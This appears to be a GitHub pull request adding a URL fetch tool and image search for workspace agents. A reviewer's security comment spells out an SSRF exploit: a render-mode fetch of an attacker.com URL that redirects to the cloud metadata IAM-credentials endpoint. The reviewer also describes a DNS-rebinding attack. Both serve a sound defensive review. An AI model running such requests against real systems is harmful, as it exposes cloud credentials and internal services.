add workspace image search and a server-side URL fetch tool - #568
add workspace image search and a server-side URL fetch tool#568QuanCheng-QC wants to merge 1 commit into
Conversation
Improves the workspace's shared search and content-fetching so agents can actually read pages and provide images, plus the security that ships with them. Content fetching: - workspace_fetch_url / POST /v1/fetch: read any URL as text without holding a shared browser tab. Static HTTP first; JS-heavy pages (Notion, SPAs) are rendered in an ephemeral browser session and closed within the request. - Per-workspace browser tab quota (DB-backed) + an idle-tab reaper, so an agent no longer sees '3/3 full' while its own tab list is empty, and abandoned tabs stop holding slots. - claude adapter hard-bans the native WebFetch (can't render JS) in favor of workspace_fetch_url; WebSearch stays allowed. Images: - workspace_image_search / POST /v1/search/images: Brave image search (BRAVE_SEARCH_API_KEY env). Returns image URLs agents embed as markdown, or persist with workspace_image_save. - POST /v1/files/from_url downloads a result into workspace storage and, with post_to_channel, posts it into the chat as an inline attachment. Security that comes with the feature: - SSRF-safe outbound fetch (app/net_security.py): scheme allowlist, reject URL credentials, resolve + block private/loopback/link-local/metadata IPs (incl. IPv4-mapped IPv6), re-validate each redirect hop, trust_env=False, and a streamed size cap. Applied to /v1/fetch and /v1/files/from_url. - Downloads only render a raster-image allowlist inline; SVG/HTML are served as attachments with X-Content-Type-Options: nosniff (stored-XSS guard). - Brave key is read from env only, never workspace settings, so it can't leak through workspace API responses.
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
zomux
left a comment
There was a problem hiding this comment.
Thanks — the static-fetch SSRF work in net_security.py is genuinely well-built (scheme allowlist, credential rejection, resolved-IP validation, per-hop redirect re-validation, streamed byte caps, decimal/octal/IPv4-mapped-IPv6 tricks all caught) and well-tested. But there's a blocking SSRF hole in the browser-render tier:
HIGH (blocking) — the render tier bypasses all SSRF protection.
/v1/fetch validates the entry URL once, then for mode:"render" (and mode:"auto") hands the URL to a headless browser (render_page_text → page.goto), which does its OWN DNS and follows redirects/meta-refresh/JS-nav with NO re-validation. Exploit:
POST /v1/fetch {"url":"http://attacker.com/r","mode":"render"} → 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
The render tier navigates the redirect and returns the metadata/IAM-credential body to the agent. In the default local-Playwright mode the browser runs on the backend host, so this reads the backend's own cloud metadata / IAM creds / localhost. mode:"auto" reaches it too (serve a JS-shell to trip the render fallback, then redirect). The render_page_text comment 'caller already validated the entry URL' is exactly the flawed assumption — entry validation doesn't constrain where the browser navigates next.
Fix: re-validate every navigation hop inside the browser path (request interceptor that re-runs validate_public_url and aborts private targets, or forbid redirects to non-public IPs), ideally combined with resolve-once-and-pin.
MEDIUM-HIGH — DNS-rebinding TOCTOU on the static tier too. safe_fetch validates the host, then httpx re-resolves independently → a 0-TTL rebind (public on first lookup, 169.254.169.254 on connect) reaches metadata even on the static path. Fix by resolving once and connecting by IP with the original Host header.
Lower: no outbound port restriction; stale search.py docstring (code is the safer env-only behavior — keep the code, fix the doc). Please add render-tier redirect-to-internal and second-resolution-rebinding tests with the fix. Happy to re-review promptly.
Improves the workspace's shared search and content-fetching so agents can actually read pages and provide images, plus the security that ships with them.
Content fetching:
Images:
Security that comes with the feature: